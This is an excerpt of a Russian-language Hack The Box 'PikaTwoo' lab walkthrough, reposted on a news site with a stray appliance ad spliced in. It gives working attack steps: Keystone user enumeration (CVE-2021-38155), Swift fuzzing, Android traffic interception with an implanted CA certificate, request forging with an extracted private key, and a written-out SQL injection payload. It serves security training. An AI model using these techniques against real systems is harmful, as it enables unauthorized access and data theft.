Категория > Новости > HTB PikaTwoo. Проходим одну из самых сложных машин c Hack The Box - «Новости»
HTB PikaTwoo. Проходим одну из самых сложных машин c Hack The Box - «Новости»20-09-2023, 11:29. Автор: Клара |
первая ссылка в Google дает понять, что на порте 5000 работает сервис Keystone, а порт 8080 отвечает за Swift (OpenStack Object Storage). Для проверки сделаем запросы к обоим сервисам.curl -shttp://10.10.11.199:8080/info | jq . Читайте также - Водонагреватель — предмет бытовой техники, без которой сложно обойтись в современном доме или квартире. Экономя горячую воду, обеспечивая нагрев там, где временно или постоянно отсутствует горячее водоснабжение, они приносят большую пользу своим владельцам - водонагреватели аристон запчасти купить по доступным ценам. Информация о сервисе Swift OpenStack curl http://10.10.11.199:5000/-s| jq . Поскольку Burp Suite автоматически строит карту сайта, видим, что на Карта сайта Мы знаем версии установленного ПО, поэтому можем попробовать поискать в интернете описания уязвимостей и эксплоиты. Точка входаOpenStack KeystoneСлужба Keystone входит в облачную платформу OpenStack и обеспечивает аутентификацию клиентов API, обнаружение служб и распределенную многопользовательскую авторизацию. В случае с Keystone поиск эксплоитов оказался нелегкой задачей, но все же находим уязвимость с идентификатором CVE-2021-38155, которая позволит определить существующих пользователей. Список уязвимостей для Keystone OpenStack Суть бага в том, что если мы попробуем несколько раз авторизоваться от имени существующего пользователя, то он будет на время заблокирован и нам вернут соответствующее сообщение. Для имени пользователя, аккаунта которого не существует, мы такого сообщения не получим. Возьмем список имен из набора SecLists и попробуем авторизоваться с каждым из имен и десятью разными паролями с помощью Burp Intruder. Для авторизации используем запрос к { "auth":{ "identity":{ "methods":["password"], "password":{ "user":{ "password":"§admin§", "name":"§admin§", "domain":{ "id":"default" }}}}}} В итоге получаем двух пользователей: OpenStack Object Store (Swift) — ПО для облачного хранилища, позволяющее хранить и извлекать большое количество данных с помощью простого API. По запросу «keystone swift» получаем документацию, из которой узнаём о том, что можно получить доступ к открытым данным, зная только имя пользователя и используя префикс ffuf -uhttp://10.10.11.199:8080/v1/AUTH_andrew/FUZZ -t 256 -wdirectory_2.3_medium_lowercase.txt -ac Получаем один каталог, который содержит приложение для Android. Файлы в каталоге android Видимо, это приложение, которое упоминалось в ченжлоге. Скачиваем его для анализа. Точка опорыАнализ APKВ качестве виртуальной машины я использую AVD из Android Studio. После запуска виртуального смартфона проверим, определилось ли устройство в adb devices Теперь с помощью adb install pokatmon-app.apk Нас встречает форма авторизации, но, введя тестовые данные, мы не получаем доступ к серверу. Ошибка приложения На хостовой системе запускаем Wireshark и смотрим, куда идут запросы. В трафике отмечаем DNS-запрос для резолва Перехваченные пакеты в Wireshark В качестве своего DNS-сервера используем dnsmasq. Для найденного адреса сделаем запись в файле address=/api.pokatmon-app.htb/10.10.11.199 А теперь перезапустим виртуальную машину, но с указанием DNS-сервера и повторим запрос на сервер. emulator -dns-server10.10.16.46 -avdPixel_3a_API_33_x86_64 Наконец приложение может общаться с сервером. Теперь пропустим весь его трафик через Burp Proxy, для чего в настройках Burp создадим новый листенер на VPN-интерфейсе. Созданный листенер указываем в настройках прокси AVD. Настройки Burp — листенеры ProxyНастройки Proxy AVD Но снова не получаем доступ к серверу. Причину можем посмотреть в логах Burp Proxy. Все дело в SSL-сертификате. Логи Burp Proxy Чтобы ошибка исчезла, нам нужно установить сертификат Burp в виртуальное устройство. Для этого сначала скачиваем сам сертификат, конвертируем его в формат PEM и переименовываем. В Android имя сертификата — это его контрольная сумма. wget localhost:8080/cert -Ocert.der openssl x509 -inform der -incert.der -outcert.pem openssl x509 -inform pem -subject_hash_old -incert.pem cp cert.pem 9a5ba575.0 Теперь нужно сохранить наш серт в каталоге emulator -dns-server10.10.16.46 -avdPixel_3a_API_33_x86_64 -writable-system А затем «рутуем» устройство и перемонтируем основной каталог. Если все проходит успешно, сохраняем сертификат Burp. adb root adb remount adb push 9a5ba575.0 /system/etc/security/cacerts/ Повторяем попытку авторизации и видим запрос в Burp Proxy. Запросы в Burp Proxy Я сразу отправил запрос в Burp Repeater, но оказалось, что у сервера заготовлены разные варианты ответа. Как можно видеть на скрине, на запрос без заголовка Запросы на сервер Тогда будем работать через само приложение. Я попробовал отправить базовую нагрузку Главное окно приложения Тогда придется понять, как формируется подпись. При просмотре содержимого APK-файла можно найти два ключа RSA. Содержимое APK-файла Через две‑три попытки подписать отправляемые данные с помощью приватного ключа получаем валидную подпись! echo -n "app_beta_mailaddr=ralf@ralf.com&app_beta_code=1234"| openssl dgst -sha256 -signprivate.pem | base64 -w0 Теперь подписываем данные с упомянутой ранее нагрузкой и делаем запрос на сервер. echo -n "app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234"| openssl dgst -sha256 -signprivate.pem | base64 -w0 curl -k -XPOST -H 'authorization: signature=oZ3SEZMP1n2xRV33Ruf9NNmW5x19GHJv5+Af/akn2dMfnViDpuTd6gP6vm0Zz42pS0VS6B/ymJsgzoekc1QZAjMyoZh9Q+TxZ1MzFFCx2iqiVD27frr+Bblw83VVDKG3Nx/cKkk6NRHeotNQRPhGmQUQrHLPeFWybleMoN5O3qrFnuPehDnYJVheiVyAMyNnJl1Lm7RGXdEva6CEyssNqIqrApbATs8ZQFFsNZgyQKMZh5u6X1sLuVXiSTkYA3fnmwrEyMNzfuvCJU9LUx4sOGRO/Zv9bVhO3knlriRfXN1DPRDX3YePUzhQrdFNApo72yRnmtsecfVJ08sz/huSgQ==' 'https://api.pokatmon-app.htb/public/validate' --data "app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234"2>/dev/null| jq В ответе получаем почтовый адрес и ключ‑инвайт. С этими данными авторизуемся в приложении и получаем редирект на Главное окно приложения Этот адрес мы уже посещали, там расположен основной сайт, при этом в Burp Proxy видим те же инвайт и почтовый ящик. Но обратим внимание и на веб‑сервер APISIX 2.10.1. Ответ в Burp Proxy Обход каталога в Apache APISIXПоищем готовые эксплоиты для гейтвея APISIX. Запрос «apisix Vulnerabilities» приводит к подборке статей про уязвимости. Из всех упомянутых CVE наиболее применима CVE-2021-43557, которая даст возможность обхода каталога. Тут стоит вернуться к сканированию каталогов, так как изначально я не придал значения множеству результатов с кодом ответа 403. Результат сканирования каталогов Перейти обратно к новости |